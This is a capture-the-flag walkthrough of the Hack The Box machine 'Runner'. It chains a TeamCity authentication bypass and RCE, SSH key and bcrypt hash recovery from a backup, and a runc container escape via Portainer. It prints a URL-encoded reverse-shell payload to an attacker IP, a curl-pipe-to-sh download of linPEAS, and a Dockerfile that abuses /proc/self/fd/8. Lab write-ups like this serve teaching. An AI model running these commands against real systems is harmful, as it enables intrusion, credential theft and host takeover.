HackTheBox Runner writeup
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
Hello Fellows, This is my walkthrough to solve Runner from hack the box. While the exploitation wasn’t particularly challenging, the real obstacle was navigating through numerous rabbit holes on the machine..
1. Initial Reconnaissance
Nmap scan
From the initial Nmap scan, it was revealed that the target machine has three open ports.
- Port 22 is running an SSH service.
- port 80 A web application is accessible on.
- port 8000 is hosting a service identified as Nagios NSCA.
My initial approach was to check if there were any CVEs associated with the versions of these services. However, I found no relevant vulnerabilities
So lets check the website
first add http://runner.htb to hosts file for local DNS resolution
I checked the webpage, but it was static, so there was nothing to exploit within.
2. Directory Search
I checked it But, unfortunately it is 403 Forbidden
SO I tried various bypass techniques, but none were successful, even when exploring higher-level directories.
So lets check the VHOST
VHOST(Virtual Host) refers to the practice of running more than one website (such as
company1.example.com
andcompany2.example.com
) on a single machine.
I tried first with common subdomain wordlist but nothing, so I made a custom wordlist
Now lets start digging
and we got a matching
So lets add the new subdomain to the hosts file and then start our work
echo "10.10.11.13 teamcity.runner.htb" | sudo tee -a /etc/hosts
I Googled this version for a vulnerability, “TeamCity 2023.05.3 vulnerabilities” and yes, it is affected by CVE-2023–42793. It’s an Authentication Bypass that can lead to Remote Code Execution (RCE).
There is an exploit on Exploit-DB, but it only covers the authentication bypass, not the full Remote Code Execution (RCE). Therefore, I developed my own exploit.
So lets do some hacking, using my script we would create admin account on Teamcity
After cloning the repo, run exploit.py to create admin account
python3 exploit.py -u http://teamcity.runner.htb
After this we can login with the admin credentials we have created
After this, I took some time to explore the service and understand what capabilities the administrator has. Typically, when I reach this step, I search for methods to obtain a reverse shell on the {service} or execute commands.
From here, there are two pathways, one longer than the other. I will mention both.
First Pathway
It is related to the Remote Code Execution (RCE) we have on the service. We will proceed with obtaining a reverse shell on this site. Let’s complete this step using the script ‘rce.py’ available in my repository.
Lets check the script first,
Create a listener first then run the script
python3 rce.py -u http://teamcity.runner.htb -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.35%2F3333%200%3E%261"'
Escape the restricted shell using
python3 -c 'import pty; pty.spawn("/bin/bash")'
Lets do some privilege escalation
Using linPeas for enumeration, first creating python server to transfer tool then curl it
python3 -m http.server
curl http://10.10.16.35:8000/linpeas.sh | sh
After some searching, I found the id_rsa key, which can be used for SSH authentication.
find / -name id_rsa 2> /dev/null
I tried some users that I enumerated at the start from the main domain and others I found in the /etc/passwd file, but none of them worked. Then, I remembered that when I was fetching TeamCity, I found a path that contains all users.
So I tried to use this SSH key on john and metthew, and it worked with john
The problem is, this pathway wasn’t intended from the start. We improvised and gained another foothold, as TeamCity runs under this user on the machine, storing backups in this user’s data so we made it and got the id_rsa key. Otherwise, we wouldn’t have made it. After some time, you’ll encounter a challenge, needing credentials to bypass another login form. At this point, you’ll need to reconsider all that you’ve collected and opt for the second path. The second pathway is the best approach and the intended one.
Second Pathway
This way is more efficient as we would need it anyway in the future
After first login to Teamcity, I fetched its features and I found two juicy things; a path which contains users and another for backup
After backup the data from Teamcity, just click on the link, you don’t have to take shell again on tcuser user to get this backup
The backup contained a lot of data so I used the command tree to see what is there
Now that we have the id_rsa key and the database dump, let’s see what is inside these database files.
I used this command to expedite the process. and I found password hashes in the users file
find . -type f -exec sh -c 'echo -e "\n\n***** File: $1 *****\n"; cat "$1"' _ {} \;
After making filtration, there is only two users obvious to be system embedded
Now we have two things to do
- first to find the user suitable with the SSH key
note: you have to chmod +600 id_rsa first so you can use it in login
- second to crack the other user hash
hashcat -m 3200 to_crack /usr/share/wordlists/rockyou.txt --force
For later, we now have the SSH key to access the “john” machine, which contains the user flag, as well as the credentials for “matthew”
If you’re following the first pathway from the beginning, you’ll need to gather your resources and the data you possess to obtain credentials for logging into Portainer.
Another machine enumeration from the start
Portainer is a lightweight management UI which allows you to easily manage your different Docker environments (Docker hosts or Swarm clusters).
So add it first to the hosts file
After trying default credentials and CVEs with no success, it’s time to explore an alternative approach. For those who followed the first pathway, it’s essential to consider the second pathway. In the second pathway, we obtained credentials for Matthew, which we can now utilize to log into the container.
again searching how to execute commands on Portainer
I tried to deploy a container but it fails
After a minute, I figured out that I needed to deploy one of the existing images.
Creating the container is straightforward, but the challenge lies in determining the next steps. The issue we face is that even though we can execute commands as root within the container, it operates as a sandbox. Consequently, we lack access to the real machine’s root data.
So now we have to search about “containers escaping” and I found this article
We have some fresh CVEs to try, it’s highly likely that the machine is vulnerable to one of them.
CVE-2024–21626 resides in runc, a critical tool responsible for spawning containers. Due to an internal file descriptor leak in versions up to and including 1.1.11, attackers can manipulate the working directory (process.cwd) of a newly spawned container process. Like an unlocked door, the leak leaves the file descriptor open, providing access. This manipulation allows the process to access the host filesystem, granting unauthorized access and potential container breakout. The risk is significantly reduced, however, when using prebuilt images from reputable registries that maintain patched images.
You can read these articles to learn how to reproduce it.
The real problem is how to reproduce it in Portainer. All POCs are for Docker, and we are already in an isolated environment.
If you want to try this approach, you can follow these steps.
- Create a Dockerfile
FROM ubuntu
# Sets the current working directory for this image
WORKDIR /proc/self/fd/8/
2. Build the Docker image
docker build -t cve-2024–21626 .
3. Deploy the Docker container on Portainer
- Log in to your Portainer instance.
- Navigate to the “App Templates” section => Custom Templates.
- add Custom Template.
Nothing seems to work, neither building nor uploading, not even adding it from a GitHub repository.
After a while, I concluded that to reproduce the vulnerability, you can specify the working directory during the deployment process on Portainer for any existing image.
Specify one of the existing images and set the working directory to /proc/self/fd/8, then deploy the container.
After that, start the deployed container from the container list.
Start the console
You can login as root
Then escape the container to get the root flag.